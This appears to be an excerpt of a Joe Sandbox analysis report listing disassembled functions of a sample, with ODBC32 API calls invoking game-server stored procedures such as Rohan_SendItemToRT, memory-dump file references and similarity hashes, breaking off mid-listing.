                                                                                                                            Function 0043C396 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 157COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_SetKill] (?, ?, ?, ?, ?, ?, ?)},000000FD), ref: 0043C3B6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043C3F5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043C42A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043C462
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043C49A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043C4D2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043C50A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043C542
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043C57A
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_SetKill] (?, ?, ?, ?, ?, ?, ?)}, xrefs: 0043C3AD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_SetKill] (?, ?, ?, ?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-3460291864
                                                                                                                            • Opcode ID: 9b9685b6ef5eda5ab7ebf064f67145f27606fc5cc50fb22930a7932cff5ae735
                                                                                                                            • Instruction ID: 1b180745856bb00e216e896e87eedfc0698fe89e0ded7888694d4770cd3c76bf
                                                                                                                            • Opcode Fuzzy Hash: 9b9685b6ef5eda5ab7ebf064f67145f27606fc5cc50fb22930a7932cff5ae735
                                                                                                                            • Instruction Fuzzy Hash: FB5130F07802167FEB348B44CC52FBA6334EB81B18F208298F75D6E6C1D9F169819B59
                                                                                                                            Function 00437573 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 157COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohan_SendItemToRT] (?,?,?,?,?,?,?)},000000FD), ref: 00437596
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004375D5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043760A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437642
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043767A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004376B2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004376ED
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437728
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437762
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohan_SendItemToRT] (?,?,?,?,?,?,?)}, xrefs: 0043758D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohan_SendItemToRT] (?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-2009958040
                                                                                                                            • Opcode ID: 6fc7f963e7d52b2c5caa5781574df854ee552a8ddb187d541eac07abdac5d9a2
                                                                                                                            • Instruction ID: f1df86a1e22034590b0dc4743cc226c31365f8e50db9be6109c47908e609474f
                                                                                                                            • Opcode Fuzzy Hash: 6fc7f963e7d52b2c5caa5781574df854ee552a8ddb187d541eac07abdac5d9a2
                                                                                                                            • Instruction Fuzzy Hash: 9F51E1B07842187BFB248B54CC92FAA7335EB85B18F20C388F7556E2C5DAB56D408F59
                                                                                                                            Function 00437AFA Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 156COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohan_GetAssassinInfo] (?,?,?,?,?,?,?)},000000FD), ref: 00437B0E
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00437B50
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00437B88
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437BC0
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00437BF8
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00437C30
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00437C68
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00437CA0
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00437CD8
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohan_GetAssassinInfo] (?,?,?,?,?,?,?)}, xrefs: 00437B05
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohan_GetAssassinInfo] (?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-4080459032
                                                                                                                            • Opcode ID: 3cfb95f8beb558c944e052b1f6e01069f124c086691405601e4d22daa71a5ba8
                                                                                                                            • Instruction ID: 7c9b20973e0449c81a77b5957349593a118ce81f06b26d9d70de73f53f8158ba
                                                                                                                            • Opcode Fuzzy Hash: 3cfb95f8beb558c944e052b1f6e01069f124c086691405601e4d22daa71a5ba8
                                                                                                                            • Instruction Fuzzy Hash: A95104B0680214BBFB249B68CD52F697374EB84B18F1043DAF7147E2C5D9B16D808B5C
                                                                                                                            Function 004383B0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 155COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_SetTMileage] (?,?,?,?,?,?,?)},000000FD), ref: 004383C4
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00438406
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043843B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00438473
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004384AB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004384E3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043851B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00438553
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043858B
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_SetTMileage] (?,?,?,?,?,?,?)}, xrefs: 004383BB
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_SetTMileage] (?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-2653841448
                                                                                                                            • Opcode ID: 055783d7915fdb5e98f19eeb27f9b4653c28b7f3784f84b488584394b59b2e6b
                                                                                                                            • Instruction ID: 29ced0ce0d78aeac3304e1d165eb858787dfc4bb82f343c3ab385cbded185254
                                                                                                                            • Opcode Fuzzy Hash: 055783d7915fdb5e98f19eeb27f9b4653c28b7f3784f84b488584394b59b2e6b
                                                                                                                            • Instruction Fuzzy Hash: 4251097064021C7BEB249B94CD52F997375DF98B18F208286FB147E2C5D5B57D808B6C
                                                                                                                            Function 0044C147 Relevance: 16.7, APIs: 11, Instructions: 163COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044C188
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044C1B8
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000033,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 0044C1E8
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000033,00000000,?,00000000,00000001,?), ref: 0044C218
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 0044C248
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044C278
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044C2A8
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044C2D8
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044C308
                                                                                                                            • #4.ODBC32(?,00000000,000000E7,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044C338
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000E7,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044C36A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 7e08d1ac398bced4e93afb10bf69d5a2fa20fabd08f9d1bc052dfcdc5b7f9f19
                                                                                                                            • Instruction ID: 5586432336738c645ee834c801192fce6e3d82cce47f12a62e11c27760b54172
                                                                                                                            • Opcode Fuzzy Hash: 7e08d1ac398bced4e93afb10bf69d5a2fa20fabd08f9d1bc052dfcdc5b7f9f19
                                                                                                                            • Instruction Fuzzy Hash: 5651DEB1A00218ABDBA4DB19CC55FAA7379EB44718F208388F61C6B3D5DB71AD80CF54
                                                                                                                            Function 0044C379 Relevance: 16.7, APIs: 11, Instructions: 163COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044C3BA
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044C3EA
                                                                                                                            • #4.ODBC32(?,00000000,000000FE,?,0000002A,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044C41A
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FE,?,0000002A,00000000,?,00000000,000000F0,?), ref: 0044C44A
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FE,?), ref: 0044C47A
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044C4AA
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044C4DA
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044C50A
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044C53A
